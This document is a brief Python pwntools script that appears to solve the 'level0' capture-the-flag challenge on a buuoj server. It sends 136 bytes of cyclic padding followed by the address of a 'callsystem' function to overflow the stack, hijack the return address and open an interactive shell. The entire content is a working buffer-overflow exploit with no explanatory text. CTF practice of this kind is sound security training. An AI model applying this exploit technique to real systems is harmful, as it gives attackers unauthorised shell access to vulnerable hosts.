#!/usr/bin/env python
# coding=utf-8
from pwn import *

io = remote("node3.buuoj.cn", 25289)
elf = ELF("./level0")
context.arch = "amd64"
offset = 136
bin_sh = elf.symbols["callsystem"]

payload = cyclic(offset) + p64(bin_sh)
io.send(payload)
io.interactive()
